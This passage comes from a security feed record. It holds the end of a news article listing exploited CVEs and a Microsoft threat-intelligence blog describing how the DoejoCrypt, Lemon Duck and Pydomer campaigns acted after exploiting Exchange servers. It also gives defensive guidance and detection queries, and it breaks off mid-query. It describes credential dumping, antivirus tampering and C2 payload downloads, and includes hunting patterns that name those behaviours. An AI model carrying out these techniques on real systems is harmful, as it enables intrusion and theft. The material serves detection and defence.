software, including remote work, virtual private networks (VPNs), and cloud-based technologies, that cover a broad spectrum of products from Microsoft, VMware, Pulse Secure, Fortinet, Accellion, Citrix, F5 Big IP, Atlassian, and Drupal.\n\nThe most routinely exploited flaws in 2020 are as follows -\n\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (CVSS score: 9.8) - Citrix Application Delivery Controller (ADC) and Gateway directory traversal vulnerability\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (CVSS score: 10.0) - Pulse Connect Secure arbitrary file reading vulnerability\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (CVSS score: 9.8) - Fortinet FortiOS path traversal vulnerability leading to system file leak\n * [**CVE-2020-5902**](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (CVSS score: 9.8) - F5 BIG-IP remote code execution vulnerability\n * [**CVE-2020-15505**](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>) (CVSS score: 9.8) - MobileIron Core & Connector remote code execution vulnerability\n * [**CVE-2020-0688**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (CVSS score: 8.8) - Microsoft Exchange memory corruption vulnerability\n * [**CVE-2019-3396**](<https://nvd.nist.gov/vuln/detail/CVE-2019-3396>) (CVSS score: 9.8) - Atlassian Confluence Server remote code execution vulnerability\n * [**CVE-2017-11882**](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>) (CVSS score: 7.8) - Microsoft Office memory corruption vulnerability\n * [**CVE-2019-11580**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11580>) (CVSS score: 9.8) - Atlassian Crowd and Crowd Data Center remote code execution vulnerability\n * [**CVE-2018-7600**](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>) (CVSS score: 9.8) - Drupal remote code execution vulnerability\n * [**CVE-2019-18935**](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>) (CVSS score: 9.8) - Telerik .NET deserialization vulnerability resulting in remote code execution\n * [**CVE-2019-0604**](<https://nvd.nist.gov/vuln/detail/CVE-2019-0604>) (CVSS score: 9.8) - Microsoft SharePoint remote code execution vulnerability\n * [**CVE-2020-0787**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0787>) (CVSS score: 7.8) - Windows Background Intelligent Transfer Service (BITS) elevation of privilege vulnerability\n * [**CVE-2020-1472**](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) (CVSS score: 10.0) - Windows [Netlogon elevation of privilege](<https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html>) vulnerability\n\nThe list of vulnerabilities that have come under active attack thus far in 2021 are listed below -\n\n * [Microsoft Exchange Server](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>): [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>), [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>) (aka \"ProxyLogon\")\n * [Pulse Secure](<https://thehackernews.com/2021/05/new-high-severity-vulnerability.html>): [CVE-2021-22893](<https://nvd.nist.gov/vuln/detail/CVE-2021-22893>), [CVE-2021-22894](<https://nvd.nist.gov/vuln/detail/CVE-2021-22894>), [CVE-2021-22899](<https://nvd.nist.gov/vuln/detail/CVE-2021-22899>), and [CVE-2021-22900](<https://nvd.nist.gov/vuln/detail/CVE-2021-22900>)\n * [Accellion](<https://thehackernews.com/2021/03/extortion-gang-breaches-cybersecurity.html>): [CVE-2021-27101](<https://nvd.nist.gov/vuln/detail/CVE-2021-27101>), [CVE-2021-27102](<https://nvd.nist.gov/vuln/detail/CVE-2021-27102>), [CVE-2021-27103](<https://nvd.nist.gov/vuln/detail/CVE-2021-27103>), and [CVE-2021-27104](<https://nvd.nist.gov/vuln/detail/CVE-2021-27104>)\n * [VMware](<https://thehackernews.com/2021/06/alert-critical-rce-bug-in-vmware.html>): [CVE-2021-21985](<https://nvd.nist.gov/vuln/detail/CVE-2021-21985>)\n * Fortinet: [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), [CVE-2020-12812](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>), and [CVE-2019-5591](<https://nvd.nist.gov/vuln/detail/CVE-2019-5591>)\n\nThe development also comes a week after MITRE [published](<https://cwe.mitre.org/top25/archive/2021/2021_cwe_top25.html>) a list of top 25 \"most dangerous\" software errors that could lead to serious vulnerabilities that could be exploited by an adversary to take control of an affected system, obtain sensitive information, or cause a denial-of-service condition.\n\n\"The advisory [...] puts the power in every organisation's hands to fix the most common vulnerabilities, such as unpatched VPN gateway devices,\" NCSC Director for Operations, Paul Chichester, [said](<https://www.ncsc.gov.uk/news/global-cyber-vulnerabilities-advice>), urging the need to prioritize patching to minimize the risk of being exploited by malicious actors.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-29T08:21:00", "type": "thn", "title": "Top 30 Critical Security Vulnerabilities Most Exploited by Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-13379", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2019-5591", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-12812", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-5902", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-08-04T09:03:14", "id": "THN:B95DC27A89565323F0F8E6350D24D801", "href": "https://thehackernews.com/2021/07/top-30-critical-security.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "mssecure": [{"lastseen": "2021-03-26T05:16:59", "description": "Microsoft continues to monitor and investigate attacks exploiting the recent on-premises Exchange Server vulnerabilities. These attacks are now performed by multiple threat actors ranging from financially motivated cybercriminals to state-sponsored groups. To help customers who are not able to immediately install updates, Microsoft [released a one-click tool](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>) that automatically mitigates one of the vulnerabilities and scans servers for known attacks. Microsoft also [built this capability into Microsoft Defender Antivirus](<https://www.microsoft.com/security/blog/2021/03/18/automatic-on-premises-exchange-server-mitigation-now-in-microsoft-defender-antivirus/>), expanding the reach of the mitigation. As of today, we have seen a significant decrease in the number of still-vulnerable servers \u2013 more than 92% of known worldwide Exchange IPs are now patched or mitigated. We continue to work with our customers and partners to mitigate the vulnerabilities.\n\nAs organizations recover from this incident, we continue to publish guidance and share threat intelligence to help detect and evict threat actors from affected environments. Today, we are sharing intelligence about what some attackers did after exploiting the vulnerable servers, ranging from ransomware to data exfiltration and deployment of various second-stage payloads. This blog covers:\n\n * Threat intelligence and technical details about known attacks, including components and attack paths, that defenders can use to investigate whether on-premises Exchange servers were compromised before they were patched and to comprehensively respond to and remediate these threats if they see them in their environments.\n * Detection and automatic remediation built into Microsoft Defender Antivirus and how investigation and remediation capabilities in solutions like Microsoft Defender for Endpoint can help responders perform additional hunting and remediate threats.\n\nAlthough the overall numbers of ransomware have remained extremely small to this point, it is important to remember that these threats show how quickly attackers can pivot their campaigns to take advantage of newly disclosed vulnerabilities and target unpatched systems, demonstrating how critical it is for organizations to apply security updates as soon as possible. We strongly urge organizations to identify and update vulnerable on-premises Exchange servers, and to follow mitigation and investigation guidance that we have collected and continue to update here: <https://aka.ms/ExchangeVulns>.\n\n## Mitigating post-exploitation activities\n\nThe first known attacks leveraging the Exchange Server vulnerabilities were by the nation-state actor HAFNIUM, which we detailed in [this blog](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>). In the three weeks after the Exchange server vulnerabilities were disclosed and the security updates were released, Microsoft saw numerous other attackers adopting the exploit into their toolkits. Attackers are known to rapidly work to reverse engineer patches and develop exploits. In the case of a remote code execution (RCE) vulnerability, the rewards are high for attackers who can gain access before an organization patches, as patching a system does not necessarily remove the access of the attacker.\n\n\n\n_Figure 1. The Exchange Server exploit chain_\n\nIn our investigation of the on-premises Exchange Server attacks , we saw systems being affected by multiple threats. **Many of the compromised systems have not yet received a secondary action**, such as human-operated ransomware attacks or data exfiltration, indicating attackers could be establishing and keeping their access for potential later actions. These actions might involve performing follow-on attacks via persistence on Exchange servers they have already compromised, or using credentials and data stolen during these attacks to compromise networks through other entry vectors.\n\nAttackers who included the exploit in their toolkits, whether through modifying public proof of concept exploits or their own research, capitalized on their window of opportunity to gain access to as many systems as they could. Some attackers were advanced enough to remove other attackers from the systems and use multiple persistence points to maintain access to a network.\n\nWe have built protections against these threats into Microsoft security solutions. Refer to the Appendix for a list of indicators of compromise, detection details, and advanced hunting queries. We have also provided additional tools and investigation and remediation guidance here: <https://aka.ms/exchange-customer-guidance>.\n\nWhile performing a full investigation on systems is recommended, the following themes are common in many of the attacks. These are prevailing threat trends that Microsoft has been monitoring, and existing solutions and recommendations for prevention and mitigation apply:\n\n * Web shells - As of this writing, many of the unpatched systems we observed had multiple web shells on them. Microsoft has been tracking the rise of web shell attacks for the past few years, ensuring our products detect these threats and providing remediation guidance for customers. For more info on web shells, read [Web shell attacks continue to rise](<https://www.microsoft.com/security/blog/2021/02/11/web-shell-attacks-continue-to-rise/>). We have also published guidance on [web shell threat hunting with Azure Sentinel](<http://aka.ms/exchange-web-shell-investigation>).\n * Human-operated ransomware - Ransomware attacks pose some of the biggest security risks for organizations today, and attackers behind these attacks were quick to take advantage of the on-premises Exchange Server vulnerabilities. Successfully exploiting the vulnerabilities gives attackers the ability to launch human-operated ransomware campaigns, a trend that Microsoft has been closely monitoring. For more information about human-operated ransomware attacks, including Microsoft solutions and guidance for improving defenses, read: [Human-operated ransomware attacks](<https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/>).\n * Credential theft \u2013 While credential theft is not the immediate goal of some of these attacks, access to Exchange servers allowed attackers to access and potentially steal credentials present on the system. Attackers can use these stolen credentials for follow-on attacks later, so organizations need to prioritize identifying and remediating impacted identities. For more information, read best practices for building credential hygiene.\n\nIn the following sections, we share our analysis of known post-compromise activities associated with exploitation of the Exchange server vulnerabilities because it is helpful to understand these TTPs, in order to defend against other actors using similar tactics or tools. While levels of disruptive post-compromise activity like ransomware may be limited at the time of this writing, Microsoft will continue to track this space and share information with the community. It\u2019s important to note that with some post-compromise techniques, attackers may gain highly privileged persistent access, but **many of the impactful subsequent attacker activities can be mitigated by practicing the principle of least privilege and mitigating lateral movement**.\n\n## DoejoCrypt ransomware\n\nDoejoCrypt was the first ransomware to appear to take advantage of the vulnerabilities, starting to encrypt in limited numbers shortly after the patches were released. Ransomware attackers often use multiple tools and exploits to gain initial access, including purchasing access through a broker or \u201creseller\u201d who sells access to systems they have already compromised. The DoejoCrypt attacks start with a variant of the Chopper web shell being deployed to the Exchange server post-exploitation.\n\nThe web shell writes a batch file to _C:\\Windows\\Temp\\xx.bat_. Found on all systems that received the DoejoCrypt ransomware payload, this batch file performs a backup of the Security Account Manager (SAM) database and the System and Security registry hives, allowing the attackers later access to passwords of local users on the system and, more critically, in the LSA Secrets portion of the registry, where passwords for services and scheduled tasks are stored.\n\n\n\n_Figure 2. xx.bat_\n\nGiven configurations that administrators typically use on Exchange servers, many of the compromised systems are likely to have had at least one service or scheduled task configured with a highly privileged account to perform actions like backups. **As service account credentials are not frequently changed, this could provide a great advantage to an attacker even if they lose their initial web shell access due to an antivirus detection**, as the account can be used to elevate privileges later, which is why we strongly recommend operating under the principle of least privileged access.\n\nThe batch file saves the registry hives to a semi-unique location, _C:\\windows\\temp\\debugsms_, assembles them into a CAB file for exfiltration, and then cleans up the folders from the system. The file also enables Windows Remote Management and sets up an HTTP listener, indicating the attacker might take advantage of the internet-facing nature of an Exchange Server and use this method for later access if other tools are removed.\n\n\n\n_Figure 3. xx.bat actions_\n\nThe _xx.bat_ file has been run on many more systems than have been ransomed by the DoejoCrypt attacker, meaning that, while not all systems have moved to the ransom stage, the attacker has gained access to multiple credentials. On systems where the attacker moved to the ransom stage, we saw reconnaissance commands being run via the same web shell that dopped the xx.bat file (in this instance, a version of Chopper):\n\n\n\n_Figure 4. DoejoCrypt recon command_\n\nAfter these commands are completed, the web shell drops a new payload to _C:\\Windows\\Help_ which, like in many human-operated ransomware campaigns, leads to the attack framework Cobalt Strike. In observed instances, the downloaded payload is shellcode with the file name _new443.exe_ or _Direct_Load.exe_. When run, this payload injects itself into _notepad.exe_ and reaches out to a C2 to download Cobalt Strike shellcode.\n\n\n\n_Figure 5. DoejoCrypt ransomware attack chain_\n\nDuring the hands-on-keyboard stage of the attack, a new payload is downloaded to _C:\\Windows\\Help_ with names like _s1.exe_ and _s2.exe_. This payload is the DoejoCrypt ransomware, which uses a _.CRYPT_ extension for the newly encrypted files and a very basic _readme.txt_ ransom note. In some instances, the time between _xx.bat_ being dropped and a ransomware payload running was under half an hour.\n\n\n\n_Figure 6. DoejoCrypt ransom note_\n\nWhile the DoejoCrypt payload is the most visible outcome of the attackers\u2019 actions, the access to credentials they have gained could serve them for future campaigns if organizations do not reset credentials on compromised systems. An additional overlapping activity observed on systems where _xx.bat_ was present and the attackers were able to get Domain Administrator rights was the running of scripts to snapshot Active Directory with _ntdsutil_\u2014an action that, if executed successfully, could give the attackers access to all the passwords in Active Directory from a single compromised system.\n\n## Lemon Duck botnet\n\nCryptocurrency miners were some of the first payloads we observed being dropped by attackers from the post-exploit web shells. In the first few days after the security updates were released, we observed multiple cryptocurrency miner campaigns, which had been previously targeting SharePoint servers, add Exchange Server exploitation to their repertoire. Most of these coin miners were variations on XMRig miners, and many arrived via a multi-featured implant with the capability to download new payloads or even move laterally.\n\nLemon Duck, a known cryptocurrency botnet named for a variable in its code, dove into the Exchange exploit action, adopting different exploit styles and choosing to use a fileless/web shell-less option of direct PowerShell commands from w3wp (the IIS worker process) for some attacks. While still maintaining their normal email-based campaigns, the Lemon Duck operators compromised numerous Exchange servers and moved in the direction of being more of a malware loader than a simple miner.\n\nUsing a form of the attack that allows direct execution of commands versus dropping a web shell, the Lemon Duck operators ran standard Invoke Expression commands to download a payload. Having used the same C2 and download servers for some time, the operators applied a varied degree of obfuscation to their commands on execution.\n\n\n\n_Fig 7. Example executions of Lemon Duck payload downloads_\n\nThe Lemon Duck payload is an encoded and obfuscated PowerShell script. It first removes various security products from the system, then creates scheduled tasks and WMI Event subscription for persistence. A second script is downloaded to attempt to evade Microsoft Defender Antivirus, abusing their administrative access to run the _Set-MPPreference_ command to disable real-time monitoring (a tactic that Microsoft Defender [Tamper protection](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/prevent-changes-to-security-settings-with-tamper-protection>) blocks) and add scanning exclusions for the C:\\ drive and the PowerShell process.\n\n\n\n\n\n_Figure 8. Lemon Duck payloads_\n\nOne randomly named scheduled task connects to a C2 every hour to download a new payload, which includes various lateral movement and credential theft tools. The operators were seen to download RATs and information stealers, including [Ramnit](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Ramnit>) payloads.\n\n\n\n_Figure 9. Lemon Duck post-exploitation activities_\n\nIn some instances, the operators took advantage of having compromised mail servers to access mailboxes and send emails containing the Lemon Duck payload using various colorful email subjects.\n\n\n\n_Figure 10. Email subjects of possibly malicious emails_\n\n\n\n_Figure 11. Attachment variables_\n\nIn one notable example, the Lemon Duck operators compromised a system that already had _xx.bat_ and a web shell. After establishing persistence on the system in a non-web shell method, the Lemon Duck operators were observed cleaning up other attackers\u2019 presence on the system and mitigating the CVE-2021-26855 (SSRF) vulnerability using a legitimate cleanup script that they hosted on their own malicious server. This action prevents further exploitation of the server and removes web shells, giving Lemon Duck exclusive access to the compromised server. This stresses the need to fully investigate systems that were exposed, even if they have been fully patched and mitigated, per traditional incident response process.\n\n## Pydomer ransomware\n\nWhile DoejoCrypt was a new ransomware payload, the access gained by attackers via the on-premises Exchange Server vulnerabilities will likely become part of the complex cybercriminal economy where additional ransomware operators and affiliates take advantage of it. The first existing ransomware family to capitalize on the vulnerabilities was Pydomer. This ransomware family was previously seen using vulnerabilities in attacks, notably taking advantage of Pulse Secure VPN vulnerabilities, for which Pulse Secure has released security patches, to steal credentials and perform ransomware attacks.\n\nIn this campaign, the operators scanned and mass-compromised unpatched Exchange Servers to drop a web shell. They started later than some other attackers, with many compromises occurring between March 18 and March 20, a window when fewer unpatched systems were available. They then dropped a web shell, with a notable file name format: \u201cChack[Word][Country abbreviation]\u201d:\n\n\n\n_Figure 12. Example web shell names observed being used by the Pydomer attackers_\n\nThese web shells were observed on around 1,500 systems, not all of which moved to the ransomware stage. The attackers then used their web shell to dump a _test.bat_ batch file that performed a similar function in the attack chain to the _xx.bat_ of the DoejoCrypt operators and allowed them to perform a dump of the LSASS process.\n\n\n\n_Figure 13. Pydomer post-exploitation activities_\n\nThis access alone would be valuable to attackers for later attacks, similar to the credentials gained during their use of Pulse Secure VPN vulnerabilities. The highly privileged credentials gained from an Exchange system are likely to contain domain administrator accounts and service accounts with backup privileges, meaning these attackers could perform ransomware and exfiltration actions against the networks they compromised long after the Exchange Server is patched and even enter via different means.\n\nOn systems where the attackers did move to second-stage ransomware operations, they utilized a Python script compiled to an executable and the Python cryptography libraries to encrypt files. The attackers then executed a PowerShell script via their web shell that acts as a downloader and distribution mechanism for the ransomware.\n\n\n\n_Figure 14. __PowerShell downloader and spreader used to get the Pydomer payload_\n\nThe script fetches a payload from a site hosted on a domain generation algorithm (DGA) domain, and attempts to spread the payload throughout the network, first attempting to spread the payload over WMI using Invoke-WMIMethod to attempt to connect to systems, and falling back to PowerShell remoting with Enter-PSSession if that fails. The script is run within the context of the web shell, which in most instances is Local System, so this lateral movement strategy is unlikely to work except in organizations that are running highly insecure and unrecommended configurations like having computer objects in highly privileged groups.\n\nThe Pydomer ransomware is a Python script compiled to an executable and uses the Python cryptography libraries to encrypt files. The ransomware encrypts the files and appends a random extension, and then drops a ransom note named _decrypt_file.TxT_.\n\n\n\n_Figure 15. Pydomer __ransom note_\n\nInterestingly, the attackers seem to have deployed a non-encryption extortion strategy. Following well-known ransomware groups like Maze and Egregor which leaked data for pay, the Pydomer hackers dropped an alternative _readme.txt_ onto systems without encrypting files. This option might have been semi-automated on their part or a side effect of a failure in their encryption process, as some of the systems they accessed were test systems that showed no data exfiltration. The note should be taken seriously if encountered, as the attackers had full access to systems and were likely able to exfiltrate data.\n\n\n\n_Figure 16. Pydomer extortion readme.txt_\n\n## Credential theft, turf wars, and dogged persistence\n\nIf a server is not running in a least-privilege configuration, credential theft could provide a significant return on investment for an attacker beyond their initial access to email and data. Many organizations have backup agent software and scheduled tasks running on these systems with domain admin-level permissions. For these organizations, the attackers might be able to harvest highly privileged credentials without lateral movement, for example, using the COM services DLL as a living-off-the-land binary to perform a dump of the LSASS process:\n\n\n\n_Figure 17.__ Use of COM services DLL to dump LSASS process_\n\nThe number of observed credential theft attacks, combined with high privilege of accounts often given to Exchange servers, means that these attacks could continue to impact organizations that don\u2019t fully remediate after a compromise even after patches have been applied. While the observed ransomware attempts were small-scale or had errors, there is still the possibility of [more skillful groups](<https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/>) utilizing credentials gained in these attacks for later attacks.\n\nAttackers also used their access to perform extensive reconnaissance using built-in Exchange commandlets and _dsquery_ to exfiltrate information about network configurations, user information, and email assets.\n\nWhile Lemon Duck operators might have had the boldest method for removing other attackers from the systems they compromised, they were not the only attacker to do so. Others were observed cleaning up .aspx and .bat files to remove other attackers, and even rebuilding the WMI database by deleting .mof files and restarting the service. As the window on unpatched machines closes, attackers showed increased interest in maintaining the access to the systems they exploited. By utilizing "malwareless" persistence mechanisms like enabling RDP, installing Shadow IT tools, and adding new local administrator accounts, the attackers are hoping to evade incident response efforts that might focus exclusively on web shells, AV scans, and patching.\n\n## Defending against exploits and post-compromise activities\n\nAttackers exploit the on-premises Exchange Server vulnerabilities in combination to bypass authentication and gain the ability to write files and run malicious code. The best and most complete remediation for these vulnerabilities is to update to a supported Cumulative Update and to install all security updates. Comprehensive mitigation guidance can be found here: <https://aka.ms/ExchangeVulns>.\n\nAs seen in the post-exploitation attacks discussed in this blog, the paths that attackers can take after successfully exploiting the vulnerabilities are varied and wide-ranging. If you have determined or have reason to suspect that these threats are present on your network, here are immediate steps you can take:\n\n * Investigate exposed Exchange servers for compromise, regardless of their current patch status.\n * Look for web shells via our [guidance](<https://aka.ms/exchange-customer-guidance>) and run a full AV scan using the [Exchange On-Premises Mitigation Tool](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>).\n * Investigate Local Users and Groups, even non-administrative users for changes, and ensure all users require a password for sign-in. New user account creations (represented by Event ID 4720) during the time the system was vulnerable might indicate a malicious user creation.\n * Reset and randomize local administrator passwords with a tool like [LAPS](<https://aka.ms/laps>) if you are not already doing so.\n * Look for changes to the RDP, firewall, WMI subscriptions, and Windows Remote Management (WinRM) configuration of the system that might have been configured by the attacker to allow persistence.\n * Look for Event ID 1102 to determine if attackers cleared event logs, an activity that attackers perform with _exe_ in an attempt to hide their tracks.\n * Look for new persistence mechanisms such as unexpected services, scheduled tasks, and startup items.\n * Look for Shadow IT tools that attackers might have installed for persistence, such as non-Microsoft RDP and remote access clients.\n * Check mailbox-level email forwarding settings (both _ForwardingAddress_ and _ForwardingSMTPAddress_ attributes), check mailbox inbox rules (which might be used to forward email externally), and check Exchange Transport rules that you might not recognize.\n\nWhile our response tools check for and remove known web shells and attack tools, performing a full investigation of these systems is recommended. For comprehensive investigation and mitigation guidance and tools, see <https://aka.ms/exchange-customer-guidance>.\n\nAdditionally, here are best practices for building credential hygiene and practicing the principle of least privilege:\n\n * Follow guidance to run Exchange in least-privilege configuration: <https://adsecurity.org/?p=4119>.\n * Ensure service accounts and scheduled tasks run with the least privileges they need. Avoid widely privileged groups like domain admins and backup operators and prefer accounts with access to just the systems they need.\n * Randomize local administrator passwords to prevent lateral movement with tools like [LAPS](<https://aka.ms/laps>).\n * Ensure administrators practice good administration habits like[ Privileged Admin Workstations](<https://docs.microsoft.com/en-us/security/compass/overview>).\n * Prevent privileged accounts like domain admins from signing into member servers and workstations using Group Policy to limit credential exposure and lateral movement.\n\n \n\n## Appendix\n\n### Microsoft Defender for Endpoint detection details\n\n**Antivirus **\n\nMicrosoft Defender Antivirus detects exploitation behavior with these detections:\n\n * Behavior:Win32/Exmann\n * [Behavior:Win32/IISExchgSpawnEMS](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/IISExchgSpawnEMS.A&threatId=-2147212928>)\n * [Exploit:ASP/CVE-2021-27065](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:ASP/CVE-2021-27065>)\n * Exploit:Script/Exmann\n * Trojan:Win32/IISExchgSpawnCMD\n * [Behavior:Win32/IISExchgDropWebshell](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/IISExchgDropWebshell.B&threatId=-2147190469>)\n\nWeb shells are detected as:\n\n * [Backdoor:JS/Webshell](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:JS/WebShell&threatId=-2147233581>)\n * [Backdoor:PHP/Chopper](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:PHP/Chopper.B!dha&threatId=-2147231664>)\n * Backdoor:ASP/Chopper\n * Backdoor:MSIL/Chopper\n * [Trojan:JS/Chopper](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:JS/Chopper!dha&threatId=-2147232033>)\n * Trojan:Win32/Chopper\n * [Behavior:Win32/WebShellTerminal](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/WebShellTerminal.A&threatId=-2147213299>)\n\nRansomware payloads and associated files are detected as:\n\n * [Trojan:BAT/Wenam](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:BAT/Wenam.A&threatId=-2147188992>) - _xx.bat_ behaviors\n * [Ransom:Win32/DoejoCrypt](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/DoejoCrypt.A&threatId=-2147189904>) - DoejoCrypt ransomware\n * [Trojan:PowerShell/Redearps](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:PowerShell/Redearps.A&threatId=-2147189091>) - PowerShell spreader in Pydomer attacks\n * [Ransom:Win64/Pydomer](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win64/Pydomer.A&threatId=-2147189083>) - Pydomer ransomware\n\nLemon Duck malware is detected as:\n\n * [Trojan:PowerShell/LemonDuck](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:PowerShell/LemonDuck.A&threatId=-2147189579>)\n * [Trojan:Win32/LemonDuck](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/LemonDuck.A&threatId=-2147189576>)\n\nSome of the credential theft techniques highlighted in this report are detected as:\n\n * [Behavior:Win32/DumpLsass](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/DumpLsass.A!attk&threatId=-2147237471>)\n * Behavior:Win32/RegistryExfil\n\n**Endpoint detection and response (EDR)**\n\nAlerts with the following titles in the security center can indicate threat activity on your network:\n\n * Suspicious Exchange UM process creation\n * Suspicious Exchange UM file creation\n * Suspicious w3wp.exe activity in Exchange\n * Possible exploitation of Exchange Server vulnerabilities\n * Possible IIS web shell\n * Possible web shell installation\n * Web shells associated with Exchange Server vulnerabilities\n * Network traffic associated with Exchange Server exploitation\n\nAlerts with the following titles in the security center can indicate threat activity on your network specific to the DoejoCrypt and Pydomer ransomware campaign:\n\n * DoejoCrypt ransomware\n * Pydomer ransomware\n * Pydomer download site\n\nAlerts with the following titles in the security center can indicate threat activity on your network specific to the Lemon Duck botnet:\n\n * LemonDuck Malware\n * LemonDuck botnet C2 domain activity\n\nThe following behavioral alerts might also indicate threat activity associated with this threat:\n\n * Possible web shell installation\n * A suspicious web script was created\n * Suspicious processes indicative of a web shell\n * Suspicious file attribute change\n * Suspicious PowerShell command line\n * Possible IIS Web Shell\n * Process memory dump\n * A malicious PowerShell Cmdlet was invoked on the machine\n * WDigest configuration change\n * Sensitive information lookup\n * Suspicious registry export\n\n### Advanced hunting\n\nTo locate possible exploitation activities in Microsoft Defender for Endpoint, run the following queries.\n\n**Processes run by the IIS worker process**\n\nLook for processes executed by the IIS worker process\n\n`// Broadly search for processes executed by the IIS worker process. Further investigation should be performed on any devices where the created process is indicative of reconnaissance \nDeviceProcessEvents \n| where InitiatingProcessFileName == 'w3wp.exe' \n| where InitiatingProcessCommandLine contains \"MSExchange\" \n| where FileName !in~ (\"csc.exe\",\"cvtres.exe\",\"conhost.exe\",\"OleConverter.exe\",\"wermgr.exe\",\"WerFault.exe\",\"TranscodingService.exe\") \n| project FileName, ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\nSearch for PowerShell spawned from the IIS worker process, observed most frequently in Lemon Duck with Base64 encoding to obfuscate C2 domains\n\n`DeviceProcessEvents \n| where FileName =~ \"powershell.exe\" \n| where InitiatingProcessFileName =~ \"w3wp.exe\" \n| where InitiatingProcessCommandLine contains \"MSExchange\" \n| project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Tampering**\n\nSearch for Lemon Duck tampering with Microsoft Defender Antivirus\n\n`DeviceProcessEvents \n| where InitiatingProcessCommandLine has_all (\"Set-MpPreference\", \"DisableRealtimeMonitoring\", \"Add-MpPreference\", \"ExclusionProcess\") \n| project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Batch script actions **\n\nSearch for batch scripts performing credential theft, as observed in DoejoCrypt infections\n\n`DeviceProcessEvents \n| where InitiatingProcessFileName == \"cmd.exe\" \n| where 